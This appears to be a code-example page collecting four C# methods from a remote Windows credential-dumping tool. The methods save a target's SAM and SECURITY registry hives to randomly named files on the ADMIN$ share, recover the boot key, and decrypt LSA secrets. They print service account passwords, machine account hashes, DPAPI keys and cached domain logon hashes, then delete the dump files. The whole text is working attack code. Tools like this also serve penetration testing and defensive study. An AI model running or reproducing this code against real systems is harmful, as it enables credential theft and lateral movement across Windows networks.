Ejemplo n.º 1
0
        //tossed all this stuff into a single method to save us from having to duplicate code for the impersonation / non-impersonation options
        private static void DoStuff(string singleTarget)
        {
            RemoteOps remoteConnection = new RemoteOps(singleTarget);

            //this indicates that our initial connection to the remote registry service on the remote target was unsuccessful, so no point in performing any operations
            if (remoteConnection.remoteRegHandle.Equals(IntPtr.Zero))
            {
                return;
            }
            byte[] bootKey = GetBootKey(ref remoteConnection);
            //create names of dump files
            Random        rand              = new Random();
            string        seedVals          = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
            string        randStr           = new string(Enumerable.Repeat(seedVals, 16).Select(s => s[rand.Next(s.Length)]).ToArray());
            string        samOut            = randStr.Substring(0, 8) + ".log";
            string        securityOut       = randStr.Substring(8, 8) + ".log";
            List <string> singleHostResults = new List <string>
            {
                string.Format("---------------Results from {0}---------------", singleTarget)
            };

            //SAM dump stuff starts here
            string samRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\" + samOut;

            if (remoteConnection.SaveRegKey("SAM", @"\Windows\" + samOut))
            {
                RegistryHive sam = remoteConnection.GetRemoteHiveDump(samRemoteLocation);
                if (sam != null)
                {
                    Console.WriteLine("[*] Parsing SAM hive on {0}", singleTarget);
                    singleHostResults.AddRange(ParseSam(bootKey, sam));
                }
                else
                {
                    singleHostResults.Add("[X] Unable to access to SAM dump file");
                }
            }

            //Security dump stuff starts here
            string securityRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\" + securityOut;

            if (remoteConnection.SaveRegKey("SECURITY", @"\Windows\" + securityOut))
            {
                RegistryHive security = remoteConnection.GetRemoteHiveDump(securityRemoteLocation);
                if (security != null)
                {
                    Console.WriteLine("[*] Parsing SECURITY hive on {0}", singleTarget);
                    singleHostResults.AddRange(ParseLsa(security, bootKey, ref remoteConnection));
                }
                else
                {
                    singleHostResults.Add("[X] Unable to access to SECURITY dump file");
                }
            }
            remoteConnection.Cleanup(samRemoteLocation, securityRemoteLocation);
            allResults.Add(singleHostResults);
        }
Ejemplo n.º 2
0
        private static string PrintSecret(string keyName, LsaSecretBlob secretBlob, ref RemoteOps remoteConnection)
        {
            string secretOutput = string.Format("[*] {0}\r\n", keyName);

            if (keyName.ToUpper().StartsWith("_SC_"))
            {
                string startName = remoteConnection.GetServiceStartname(keyName.Substring(4));
                string pw        = Encoding.Unicode.GetString(secretBlob.secret.ToArray());
                secretOutput += string.Format("{0}:{1}", startName, pw);
            }
            else if (keyName.ToUpper().StartsWith("$MACHINE.ACC"))
            {
                string computerAcctHash = BitConverter.ToString(Crypto.Md4Hash2(secretBlob.secret)).Replace("-", "").ToLower();
                string domainName       = remoteConnection.GetRegistryKeyValue(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters", "Domain");
                string computerName     = remoteConnection.GetRegistryKeyValue(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters", "Hostname");
                secretOutput += string.Format("{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}", domainName, computerName, computerAcctHash);
            }
            else if (keyName.ToUpper().StartsWith("DPAPI"))
            {
                secretOutput += ("dpapi_machinekey:" + BitConverter.ToString(secretBlob.secret.Skip(4).Take(20).ToArray()).Replace("-", "").ToLower() + "\r\n");
                secretOutput += ("dpapi_userkey:" + BitConverter.ToString(secretBlob.secret.Skip(24).Take(20).ToArray()).Replace("-", "").ToLower());
            }
            else if (keyName.ToUpper().StartsWith("NL$KM"))
            {
                secretOutput += ("NL$KM:" + BitConverter.ToString(secretBlob.secret).Replace("-", "").ToLower());
            }
            else if (keyName.ToUpper().StartsWith("ASPNET_WP_PASSWORD"))
            {
                secretOutput += ("ASPNET:" + System.Text.Encoding.Unicode.GetString(secretBlob.secret));
            }
            else
            {
                secretOutput += ("[!] Secret type not supported yet - outputing raw secret as unicode:\r\n");
                secretOutput += (System.Text.Encoding.Unicode.GetString(secretBlob.secret));
            }
            return(secretOutput);
        }
Ejemplo n.º 3
0
        private static byte[] GetBootKey(ref RemoteOps remoteConnection)
        {
            //the bootkey is stored within the class attribute value of the 4 following keys.  This data is not accessible from regedit.exe, but can be returned from a direct query
            string[] keys = new string[4] {
                "JD", "Skew1", "GBG", "Data"
            };
            byte[]        transforms   = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 };
            StringBuilder scrambledKey = new StringBuilder();

            for (int i = 0; i < 4; i++)
            {
                string keyPath      = @"SYSTEM\CurrentControlSet\Control\Lsa\" + keys[i];
                IntPtr regKeyHandle = remoteConnection.OpenRegKey(keyPath);
                scrambledKey.Append(remoteConnection.GetRegKeyClassData(regKeyHandle));
                remoteConnection.CloseRegKey(regKeyHandle);
            }
            byte[] scrambled   = StringToByteArray(scrambledKey.ToString());
            byte[] unscrambled = new byte[16];
            for (int i = 0; i < 16; i++)
            {
                unscrambled[i] = scrambled[transforms[i]];
            }
            return(unscrambled);
        }
Ejemplo n.º 4
0
        private static List <string> ParseLsa(RegistryHive security, byte[] bootKey, ref RemoteOps remoteConnection)
        {
            List <string> retVal = new List <string>();

            try
            {
                byte[]    fVal            = GetValueKey(security, @"Policy\PolEKList\Default").Data;
                LsaSecret record          = new LsaSecret(fVal);
                byte[]    dataVal         = record.data.Take(32).ToArray();
                byte[]    tempKey         = Crypto.ComputeSha256(bootKey, dataVal);
                byte[]    dataVal2        = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
                byte[]    decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray();

                //get NLKM Secret
                byte[]  nlkmKey = null;
                NodeKey nlkm    = GetNodeKey(security, @"Policy\Secrets\NL$KM");
                if (nlkm != null)
                {
                    retVal.Add("[*] Cached domain logon information(domain/username:hash)");
                    nlkmKey = DumpSecret(nlkm, decryptedLsaKey);
                    foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues)
                    {
                        if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray()))
                        {
                            NL_Record cachedUser = new NL_Record(cachedLogin.Data);
                            byte[]    plaintext  = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV);
                            byte[]    hashedPW   = plaintext.Take(16).ToArray();
                            string    username   = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray());
                            string    domain     = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray());
                            domain = domain.Replace("\0", "");
                            retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower()));
                        }
                    }
                }

                try
                {
                    retVal.Add("[*] LSA Secrets");
                    foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes)
                    {
                        if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0)
                        {
                            if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0)
                            {
                                LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey));
                                if (secretBlob.length > 0)
                                {
                                    retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection));
                                }
                            }
                            else
                            {
                                LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey);
                                if (secretBlob.length > 0)
                                {
                                    retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection));
                                }
                            }
                        }
                    }
                }
                catch
                {
                    retVal.Add("[X] No secrets to parse");
                }
            }
            catch (Exception e)
            {
                retVal.Add("[X] Error parsing SECURITY dump file: " + e.ToString());
            }
            return(retVal);
        }